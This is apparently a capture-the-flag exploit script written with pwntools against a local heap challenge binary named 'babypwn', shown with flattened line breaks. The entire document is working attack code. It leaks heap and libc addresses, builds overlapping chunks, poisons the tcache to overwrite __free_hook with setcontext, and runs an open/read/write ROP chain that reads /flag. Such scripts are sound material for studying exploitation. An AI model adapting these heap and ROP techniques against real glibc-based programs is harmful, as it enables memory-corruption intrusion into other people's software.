1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| from pwn import *
context(arch='amd64', log_level='debug')
io = process('./babypwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def add(size): io.sendlineafter(b'>>> ', b'1') io.sendlineafter(b'size:', str(size).encode())
def delete(index): io.sendlineafter(b'>>> ', b'2') io.sendlineafter(b'index:', str(index).encode())
def edit(index, content): io.sendlineafter(b'>>> ', b'3') io.sendlineafter(b'index:', str(index).encode()) io.sendafter(b'content:', content)
def show(index): io.sendlineafter(b'>>> ', b'4') io.sendlineafter(b'index:\n', str(index).encode()) lodword = int(io.recvuntil(b'\n', drop=True).decode(), 16) lodword = decrypt(lodword) hidword = int(io.recvuntil(b'\n', drop=True).decode(), 16) hidword = decrypt(hidword) return lodword + (hidword << 32)
def get_bits(value, start, end): return (value >> start) & ((1 << (end - start)) - 1)
def decrypt(value): for i in range(2): low13 = get_bits(value, 0, 13) mid13 = get_bits(value, 13, 26) mid13 ^= low13 high6 = get_bits(value, 26, 32) high6 ^= get_bits(mid13, 0, 6) value = low13 + (mid13 << 13) + (high6 << 26)
high17 = get_bits(value, 15, 32) low15 = get_bits(value, 0, 15) low15 ^= get_bits(high17, 2, 17) value = low15 + (high17 << 15)
first5 = get_bits(value, 0, 5) second5 = get_bits(value, 5, 10) second5 ^= first5 third5 = get_bits(value, 10, 15) third5 ^= second5 fourth5 = get_bits(value, 15, 20) fourth5 ^= third5 fifth5 = get_bits(value, 20, 25) fifth5 ^= fourth5 sixth5 = get_bits(value, 25, 30) sixth5 ^= fifth5 last2 = get_bits(value, 30, 32) last2 ^= get_bits(sixth5, 0, 2) value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \ (fifth5 << 20) + (sixth5 << 25) + (last2 << 30) return value
add(100) chunk0_addr = show(0) print(hex(chunk0_addr)) add(0x100) for i in range(7): add(0xF0) chunk1_addr = chunk0_addr + 0x400
payload = p64(chunk1_addr + 0x10) payload += p64(0x810 + 0x30 - 0x10) payload += p64(chunk1_addr - 0x8) payload += p64(chunk1_addr) payload += p64(0) edit(1, payload)
add(0x28) add(0x100) add(0x20) edit(9, cyclic(0x28)) edit(9, cyclic(0x20) + p64(0x810 + 0x30 - 0x10)) edit(10, cyclic(0xF0) + p64(0) + p64(0x41))
for i in range(7): delete(8 - i) delete(10)
for i in range(2): add(0xF0) add(0xF0 + 0x100) main_arena = show(3) - 96 print(hex(main_arena)) __malloc_hook = main_arena - 0x10 base = __malloc_hook - libc.symbols['__malloc_hook'] __free_hook = base + libc.symbols['__free_hook'] setcontext = base + libc.symbols['setcontext'] openfile = base + libc.symbols['open'] readfile = base + libc.symbols['read'] writefile = base + libc.symbols['write'] poprdi_ret = base + 0x23B6A poprsi_ret = base + 0x2601F poprdx_ret = base + 0x142C92 addrsp0x18_ret = base + 0x349ea
add(0xF0 + 0x100) edit(5, cyclic(0xF0) + p64(0) + p64(0x101) + p64(__free_hook)) add(0xF0) add(0xF0) edit(7, p64(setcontext + 0x3D))
add(0xF0 + 0x100) chunk8_addr = chunk1_addr + 0x410
ROP = b'/flag'.ljust(0x30, b'\x00') ROP += p64(chunk8_addr + 0x10) ROP += p64(poprsi_ret) ROP += p64(2) ROP += p64(openfile) ROP += p64(poprdi_ret) ROP += p64(3) ROP += p64(poprsi_ret) ROP += p64(chunk8_addr + 0xF0) ROP += p64(poprdx_ret) ROP += p64(0x30) ROP += p64(readfile) ROP += p64(poprdi_ret) ROP += p64(1) ROP += p64(addrsp0x18_ret) ROP += p64(chunk8_addr + 0x40) ROP += p64(poprdi_ret) ROP += p64(0xdeadbeef) ROP += p64(poprsi_ret) ROP += p64(chunk8_addr + 0xF0) ROP += p64(poprdx_ret) ROP += p64(0x30) ROP += p64(writefile) edit(8, ROP) gdb.attach(io) time.sleep(5) delete(8)
io.interactive()
|